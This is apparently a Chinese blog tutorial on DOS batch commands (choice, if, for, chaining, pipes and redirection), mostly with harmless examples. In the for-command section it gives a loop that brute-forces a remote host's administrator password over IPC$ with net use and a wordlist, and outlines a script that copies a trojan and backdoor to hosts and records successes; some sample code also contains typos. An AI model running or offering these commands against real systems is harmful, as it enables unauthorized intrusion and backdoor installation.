四时宝库

程序员的知识宝库

计算机DOS下,批处理命令详解,电脑维护、入侵需要这些知识篇二

计算机DOS下,批处理命令详解,电脑维护、入侵需要这些知识,学会这些批处理命令,你就可以编写一些实用的批处理程序。

【开始】—【所有程序】—【附件】—【命令提示符】


choice 命令

choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1、2、3、4......

choice /? 得到该命令的帮助信息

比如: choice /c wqe /m "启动微信请按w,启动QQ请按q,退出请按e "

将显示

启动微信请按w,启动QQ请按q,退出请按e[W,Q,E] ?

例子:

choice.bat的内容如下:

@echo off

choice /c wqe /m "启动微信请按w,启动QQ请按q,退出请按e "

if errorlevel 3 goto weixin (应先判断数值最高的错误码)

if errorlevel 2 goto qq

if errotlevel 1 goto end

:weixin

"D:\Program Files (x86)\WeChat\WeChat.exe" (微信的安装目录,以下QQ类似)

goto end

:qq

"D:\Program Files (x86)\Ten\Bin\QQScLauncher.exe"

goto end

:end

echo good bye

有点类似C语言调用函数一样,在测试的时候,请把括号的解释去掉。


If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。

if /? 得到该命令的帮助信息。

有三种格式:

第一种:

if "参数" == "字符串"  待执行的命令

参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)

如if "%1"=="c" dir c:\

if {%1}=={} goto end

if {%2}=={} goto end

第二种:

if exist 文件名  待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

比如:

if exist win.ini

(edit win.ini )

else

(echo win.ini.missing)

解释说明:如果存在win.ini,则编辑该文件,如果不存在,则报文件缺失(win.ini.missing)。

第三种:

if errorlevel / if not errorlevel 数字  待执行的命令

如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

如if errorlevel 2 goto weixin 

DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。


for 命令

for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

在批处理文件中使用for命令时,指定变量请使用 %%variable

for /? 得到该命令的帮助信息。

例子一:

FOR /F "eol=; tokens=2,3* delims=, " %i in (test.txt) do command

分析 test.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或

空格定界符号。

%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。

最后,您可以用 FOR /F 命令来分析命令的输出。

例子二:

For命令来实现对一台目标Win-me主机的连接(弱口令的情况下,容易成功,不通过工具的话,这个要看一定的运气。)

用以下的代码尝试和目标主机进行连接,当成功时记下密码:

net use \\ip\ipc$ "password" /u:"administrator"

然后,用i%来表示administrator的密码,在test.txt中这个取i%的值用net use 命令来连接

for /f i% in (test.txt) do net use \\ip\ipc$ "i%" /u:"administrator"

把运行结果传递给find命令:

for /f i%% in (test.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>C:\success.txt

例子三:

@for /f "tokens=1,2,3 delims= " %%i in (test.txt) do start call test.bat %%i %%j %%k

test.txt中的内容传递给test.bat中的参数%i %j %k。

test.bat就是用net use命令来建立IPC$连接,并copy木马+后门到test,然后用返回码(If errorlever =)来筛选成功种植后门的主机,echo出来或者echo到指定的文本文件。


组合命令

第一种:&

用法:第一条命令 & 第二条命令 [& 第三条命令...]

可以同时执行多条命令,而不管命令是否执行成功

第二种:&&

用法:第一条命令 && 第二条命令 [&& 第三条命令...]

可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令。

第三种:||

用法:第一条命令 ││ 第二条命令 [││ 第三条命令...]

同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令。


管道命令

第一种:|

用法:第一条命令 │ 第二条命令 [│ 第三条命令...]

第一条命令的结果作为第二条命令的参数来使用

第二种:>、>>输出重定向命令

区别:

>会清除调原有文件中的内容后写入指定文件;

>>只会追加内容到指定文件中,而不会改动其中的内容。

第三种:< 、>& 、<&

< 从文件中而不是从键盘中读入命令输入。

>& 将一个句柄的输出写入到另一个句柄的输入中。

<& 从一个句柄读取输入并将其写入到另一个句柄输出中。


这里只是说明命令怎么用,让大家先熟悉熟悉命令,以后的教程会慢慢通过一些实例来使用命令。

发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言
    友情链接